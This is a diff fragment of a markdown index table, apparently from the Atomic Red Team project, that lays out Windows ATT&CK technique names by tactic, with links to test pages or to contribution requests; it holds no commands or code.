-|  |  | [Password Filter DLL](../../T1556.002/T1556.002.md) | Print Processors [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Indicator Removal from Tools [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
-|  |  | Path Interception [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Process Doppelgänging [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Indicator Removal on Host](../../T1070/T1070.md) |  |  |  |  |  |  |  |
-|  |  | Path Interception by PATH Environment Variable [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Process Hollowing](../../T1055.012/T1055.012.md) | [Indirect Command Execution](../../T1202/T1202.md) |  |  |  |  |  |  |  |
-|  |  | Path Interception by Search Order Hijacking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Process Injection](../../T1055/T1055.md) | [Install Root Certificate](../../T1553.004/T1553.004.md) |  |  |  |  |  |  |  |
-|  |  | [Path Interception by Unquoted Path](../../T1574.009/T1574.009.md) | [Registry Run Keys / Startup Folder](../../T1547.001/T1547.001.md) | [InstallUtil](../../T1218.004/T1218.004.md) |  |  |  |  |  |  |  |
-|  |  | Port Knocking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | SID-History Injection [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Invalid Code Signature [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
-|  |  | [Port Monitors](../../T1547.010/T1547.010.md) | [Scheduled Task](../../T1053.005/T1053.005.md) | [Local Accounts](../../T1078.003/T1078.003.md) |  |  |  |  |  |  |  |
-|  |  | [PowerShell Profile](../../T1546.013/T1546.013.md) | Scheduled Task/Job [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [MSBuild](../../T1127.001/T1127.001.md) |  |  |  |  |  |  |  |
-|  |  | Pre-OS Boot [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Screensaver](../../T1546.002/T1546.002.md) | Make and Impersonate Token [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
-|  |  | Print Processors [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Security Support Provider](../../T1547.005/T1547.005.md) | [Mark-of-the-Web Bypass](../../T1553.005/T1553.005.md) |  |  |  |  |  |  |  |
-|  |  | Redundant Access [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Services File Permissions Weakness [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Masquerade Task or Service](../../T1036.004/T1036.004.md) |  |  |  |  |  |  |  |
-|  |  | [Registry Run Keys / Startup Folder](../../T1547.001/T1547.001.md) | [Services Registry Permissions Weakness](../../T1574.011/T1574.011.md) | [Masquerading](../../T1036/T1036.md) |  |  |  |  |  |  |  |
-|  |  | SQL Stored Procedures [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Shortcut Modification](../../T1547.009/T1547.009.md) | [Match Legitimate Name or Location](../../T1036.005/T1036.005.md) |  |  |  |  |  |  |  |
-|  |  | [Scheduled Task](../../T1053.005/T1053.005.md) | Thread Execution Hijacking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Modify Authentication Process [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
-|  |  | Scheduled Task/Job [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Thread Local Storage [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Modify Registry](../../T1112/T1112.md) |  |  |  |  |  |  |  |
-|  |  | [Screensaver](../../T1546.002/T1546.002.md) | Time Providers [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Mshta](../../T1218.005/T1218.005.md) |  |  |  |  |  |  |  |
-|  |  | [Security Support Provider](../../T1547.005/T1547.005.md) | [Token Impersonation/Theft](../../T1134.001/T1134.001.md) | [Msiexec](../../T1218.007/T1218.007.md) |  |  |  |  |  |  |  |
-|  |  | Server Software Component [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Valid Accounts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [NTFS File Attributes](../../T1564.004/T1564.004.md) |  |  |  |  |  |  |  |
-|  |  | Services File Permissions Weakness [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Windows Management Instrumentation Event Subscription](../../T1546.003/T1546.003.md) | [Network Share Connection Removal](../../T1070.005/T1070.005.md) |  |  |  |  |  |  |  |
-|  |  | [Services Registry Permissions Weakness](../../T1574.011/T1574.011.md) | [Windows Service](../../T1543.003/T1543.003.md) | [Obfuscated Files or Information](../../T1027/T1027.md) |  |  |  |  |  |  |  |
-|  |  | [Shortcut Modification](../../T1547.009/T1547.009.md) | [Winlogon Helper DLL](../../T1547.004/T1547.004.md) | [Odbcconf](../../T1218.008/T1218.008.md) |  |  |  |  |  |  |  |
-|  |  | System Firmware [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | [Parent PID Spoofing](../../T1134.004/T1134.004.md) |  |  |  |  |  |  |  |
-|  |  | Time Providers [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | [Pass the Hash](../../T1550.002/T1550.002.md) |  |  |  |  |  |  |  |
-|  |  | Traffic Signaling [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | [Pass the Ticket](../../T1550.003/T1550.003.md) |  |  |  |  |  |  |  |
-|  |  | [Transport Agent](../../T1505.002/T1505.002.md) |  | [Password Filter DLL](../../T1556.002/T1556.002.md) |  |  |  |  |  |  |  |
-|  |  | Valid Accounts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | Path Interception by PATH Environment Variable [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
-|  |  | [Web Shell](../../T1505.003/T1505.003.md) |  | Path Interception by Search Order Hijacking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
-|  |  | [Windows Management Instrumentation Event Subscription](../../T1546.003/T1546.003.md) |  | [Path Interception by Unquoted Path](../../T1574.009/T1574.009.md) |  |  |  |  |  |  |  |
-|  |  | [Windows Service](../../T1543.003/T1543.003.md) |  | Port Knocking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
-|  |  | [Winlogon Helper DLL](../../T1547.004/T1547.004.md) |  | Portable Executable Injection [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
+| Compromise Software Dependencies and Development Tools [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Command and Scripting Interpreter [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Account Manipulation](../../T1098/T1098.md) | Access Token Manipulation [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Access Token Manipulation [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [AS-REP Roasting](../../T1558.004/T1558.004.md) | [Application Window Discovery](../../T1010/T1010.md) | [Distributed Component Object Model](../../T1021.003/T1021.003.md) | Adversary-in-the-Middle [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Data Transfer Size Limits [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Asymmetric Cryptography [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Application Exhaustion Flood [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
+| Compromise Software Supply Chain [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Component Object Model [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Active Setup [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Accessibility Features](../../T1546.008/T1546.008.md) | [Asynchronous Procedure Call](../../T1055.004/T1055.004.md) | Adversary-in-the-Middle [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Browser Bookmark Discovery](../../T1217/T1217.md) | Exploitation of Remote Services [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Archive Collected Data](../../T1560/T1560.md) | [Exfiltration Over Alternative Protocol](../../T1048/T1048.md) | Bidirectional Communication [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Application or System Exploitation [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
+| [Default Accounts](../../T1078.001/T1078.001.md) | Component Object Model and Distributed COM [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Add-ins](../../T1137.006/T1137.006.md) | Active Setup [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [BITS Jobs](../../T1197/T1197.md) | Brute Force [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Domain Account](../../T1087.002/T1087.002.md) | Internal Spearphishing [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Archive via Custom Method [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Exfiltration Over Asymmetric Encrypted Non-C2 Protocol](../../T1048.002/T1048.002.md) | Commonly Used Port [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Data Destruction](../../T1485/T1485.md) |
+| Domain Accounts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Dynamic Data Exchange](../../T1559.002/T1559.002.md) | AppCert DLLs [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | AppCert DLLs [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Binary Padding [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Cached Domain Credentials](../../T1003.005/T1003.005.md) | [Domain Groups](../../T1069.002/T1069.002.md) | Lateral Tool Transfer [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Archive via Library [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Exfiltration Over Bluetooth [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Communication Through Removable Media [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Data Encrypted for Impact](../../T1486/T1486.md) |
+| Drive-by Compromise [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Exploitation for Client Execution [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [AppInit DLLs](../../T1546.010/T1546.010.md) | [AppInit DLLs](../../T1546.010/T1546.010.md) | Bootkit [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Credential API Hooking](../../T1056.004/T1056.004.md) | [Domain Trust Discovery](../../T1482/T1482.md) | [Pass the Hash](../../T1550.002/T1550.002.md) | [Archive via Utility](../../T1560.001/T1560.001.md) | [Exfiltration Over C2 Channel](../../T1041/T1041.md) | [DNS](../../T1071.004/T1071.004.md) | Data Manipulation [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
+| Exploit Public-Facing Application [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Graphical User Interface [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Application Shimming](../../T1546.011/T1546.011.md) | [Application Shimming](../../T1546.011/T1546.011.md) | [Bypass User Account Control](../../T1548.002/T1548.002.md) | Credential Stuffing [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Email Account [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Pass the Ticket](../../T1550.003/T1550.003.md) | [Audio Capture](../../T1123/T1123.md) | Exfiltration Over Other Network Medium [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | DNS Calculation [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Defacement [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
+| [External Remote Services](../../T1133/T1133.md) | Inter-Process Communication [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [At (Windows)](../../T1053.002/T1053.002.md) | [Asynchronous Procedure Call](../../T1055.004/T1055.004.md) | [CMSTP](../../T1218.003/T1218.003.md) | [Credentials In Files](../../T1552.001/T1552.001.md) | [File and Directory Discovery](../../T1083/T1083.md) | [RDP Hijacking](../../T1563.002/T1563.002.md) | [Automated Collection](../../T1119/T1119.md) | Exfiltration Over Physical Medium [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Data Encoding [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Direct Network Flood [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
+| Hardware Additions [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | JavaScript [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Authentication Package](../../T1547.002/T1547.002.md) | [At (Windows)](../../T1053.002/T1053.002.md) | [COR_PROFILER](../../T1574.012/T1574.012.md) | [Credentials from Password Stores](../../T1555/T1555.md) | Group Policy Discovery [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Remote Desktop Protocol](../../T1021.001/T1021.001.md) | Browser Session Hijacking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Exfiltration Over Symmetric Encrypted Non-C2 Protocol [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Data Obfuscation [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Disk Content Wipe [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
+| [Local Accounts](../../T1078.003/T1078.003.md) | [Malicious File](../../T1204.002/T1204.002.md) | [BITS Jobs](../../T1197/T1197.md) | [Authentication Package](../../T1547.002/T1547.002.md) | [Clear Command History](../../T1070.003/T1070.003.md) | [Credentials from Web Browsers](../../T1555.003/T1555.003.md) | Internet Connection Discovery [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Remote Service Session Hijacking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Clipboard Data](../../T1115/T1115.md) | [Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol](../../T1048.003/T1048.003.md) | Dead Drop Resolver [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Disk Structure Wipe [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
+| Phishing [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Malicious Link [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Boot or Logon Autostart Execution](../../T1547/T1547.md) | [Boot or Logon Autostart Execution](../../T1547/T1547.md) | [Clear Windows Event Logs](../../T1070.001/T1070.001.md) | [Credentials in Registry](../../T1552.002/T1552.002.md) | [Local Account](../../T1087.001/T1087.001.md) | Remote Services [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Credential API Hooking](../../T1056.004/T1056.004.md) | [Exfiltration Over Web Service](../../T1567/T1567.md) | Domain Fronting [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Disk Wipe [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
+| [Replication Through Removable Media](../../T1091/T1091.md) | [Native API](../../T1106/T1106.md) | Boot or Logon Initialization Scripts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Boot or Logon Initialization Scripts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Code Signing [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [DCSync](../../T1003.006/T1003.006.md) | [Local Groups](../../T1069.001/T1069.001.md) | [Replication Through Removable Media](../../T1091/T1091.md) | Data Staged [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Exfiltration over USB [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Domain Generation Algorithms [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Endpoint Denial of Service [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
+| [Spearphishing Attachment](../../T1566.001/T1566.001.md) | [PowerShell](../../T1059.001/T1059.001.md) | Bootkit [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Bypass User Account Control](../../T1548.002/T1548.002.md) | Code Signing Policy Modification [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Domain Controller Authentication [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Network Service Scanning](../../T1046/T1046.md) | [SMB/Windows Admin Shares](../../T1021.002/T1021.002.md) | Data from Information Repositories [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Exfiltration to Cloud Storage [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Dynamic Resolution [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | External Defacement [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
+| Spearphishing Link [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Python [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Browser Extensions](../../T1176/T1176.md) | [COR_PROFILER](../../T1574.012/T1574.012.md) | [Compile After Delivery](../../T1027.004/T1027.004.md) | Exploitation for Credential Access [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Network Share Discovery](../../T1135/T1135.md) | Shared Webroot [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Data from Local System [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Exfiltration to Code Repository [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Encrypted Channel](../../T1573/T1573.md) | Firmware Corruption [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
+| Spearphishing via Service [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Scheduled Task](../../T1053.005/T1053.005.md) | [COR_PROFILER](../../T1574.012/T1574.012.md) | [Change Default File Association](../../T1546.001/T1546.001.md) | [Compiled HTML File](../../T1218.001/T1218.001.md) | [Forced Authentication](../../T1187/T1187.md) | [Network Sniffing](../../T1040/T1040.md) | [Software Deployment Tools](../../T1072/T1072.md) | Data from Network Shared Drive [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Scheduled Transfer [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | External Proxy [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Inhibit System Recovery](../../T1490/T1490.md) |
+| Supply Chain Compromise [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Scheduled Task/Job [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Change Default File Association](../../T1546.001/T1546.001.md) | [Component Object Model Hijacking](../../T1546.015/T1546.015.md) | Component Firmware [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Forge Web Credentials [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Password Policy Discovery](../../T1201/T1201.md) | Taint Shared Content [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Data from Removable Media [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | Fallback Channels [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Internal Defacement](../../T1491.001/T1491.001.md) |
+| Trusted Relationship [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Scripting [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Component Firmware [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Create Process with Token](../../T1134.002/T1134.002.md) | [Control Panel](../../T1218.002/T1218.002.md) | [GUI Input Capture](../../T1056.002/T1056.002.md) | [Peripheral Device Discovery](../../T1120/T1120.md) | Use Alternate Authentication Material [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Email Collection [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | Fast Flux DNS [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Network Denial of Service [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
+| Valid Accounts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Service Execution](../../T1569.002/T1569.002.md) | [Component Object Model Hijacking](../../T1546.015/T1546.015.md) | Create or Modify System Process [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Create Process with Token](../../T1134.002/T1134.002.md) | [Golden Ticket](../../T1558.001/T1558.001.md) | Permission Groups Discovery [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | VNC [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Email Forwarding Rule [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | File Transfer Protocols [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | OS Exhaustion Flood [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
+|  | Shared Modules [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Compromise Client Software Binary [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [DLL Search Order Hijacking](../../T1574.001/T1574.001.md) | [DLL Search Order Hijacking](../../T1574.001/T1574.001.md) | [Group Policy Preferences](../../T1552.006/T1552.006.md) | [Process Discovery](../../T1057/T1057.md) | [Windows Remote Management](../../T1021.006/T1021.006.md) | [GUI Input Capture](../../T1056.002/T1056.002.md) |  | [Ingress Tool Transfer](../../T1105/T1105.md) | Reflection Amplification [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
+|  | [Software Deployment Tools](../../T1072/T1072.md) | Create Account [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [DLL Side-Loading](../../T1574.002/T1574.002.md) | [DLL Side-Loading](../../T1574.002/T1574.002.md) | Input Capture [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Query Registry](../../T1012/T1012.md) |  | Input Capture [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | [Internal Proxy](../../T1090.001/T1090.001.md) | Resource Hijacking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
+|  | System Services [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Create or Modify System Process [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Default Accounts](../../T1078.001/T1078.001.md) | [Default Accounts](../../T1078.001/T1078.001.md) | [Kerberoasting](../../T1558.003/T1558.003.md) | [Remote System Discovery](../../T1018/T1018.md) |  | [Keylogging](../../T1056.001/T1056.001.md) |  | Junk Data [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Runtime Data Manipulation [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
+|  | User Execution [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [DLL Search Order Hijacking](../../T1574.001/T1574.001.md) | Domain Accounts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Deobfuscate/Decode Files or Information](../../T1140/T1140.md) | [Keylogging](../../T1056.001/T1056.001.md) | [Security Software Discovery](../../T1518.001/T1518.001.md) |  | [LLMNR/NBT-NS Poisoning and SMB Relay](../../T1557.001/T1557.001.md) |  | Mail Protocols [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Service Exhaustion Flood [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
+|  | [Visual Basic](../../T1059.005/T1059.005.md) | [DLL Side-Loading](../../T1574.002/T1574.002.md) | Domain Policy Modification [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Direct Volume Access](../../T1006/T1006.md) | [LLMNR/NBT-NS Poisoning and SMB Relay](../../T1557.001/T1557.001.md) | [Software Discovery](../../T1518/T1518.md) |  | [Local Data Staging](../../T1074.001/T1074.001.md) |  | Multi-Stage Channels [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Service Stop](../../T1489/T1489.md) |
+|  | [Windows Command Shell](../../T1059.003/T1059.003.md) | [Default Accounts](../../T1078.001/T1078.001.md) | Domain Trust Modification [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Disable Windows Event Logging](../../T1562.002/T1562.002.md) | [LSA Secrets](../../T1003.004/T1003.004.md) | [System Checks](../../T1497.001/T1497.001.md) |  | [Local Email Collection](../../T1114.001/T1114.001.md) |  | [Multi-hop Proxy](../../T1090.003/T1090.003.md) | Stored Data Manipulation [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
+|  | [Windows Management Instrumentation](../../T1047/T1047.md) | [Domain Account](../../T1136.002/T1136.002.md) | [Dynamic-link Library Injection](../../T1055.001/T1055.001.md) | [Disable or Modify System Firewall](../../T1562.004/T1562.004.md) | [LSASS Memory](../../T1003.001/T1003.001.md) | [System Information Discovery](../../T1082/T1082.md) |  | Remote Data Staging [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | Multiband Communication [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [System Shutdown/Reboot](../../T1529/T1529.md) |
+|  |  | Domain Accounts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Escape to Host [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Disable or Modify Tools](../../T1562.001/T1562.001.md) | Modify Authentication Process [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | System Language Discovery [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | Remote Email Collection [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | [Non-Application Layer Protocol](../../T1095/T1095.md) | Transmitted Data Manipulation [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
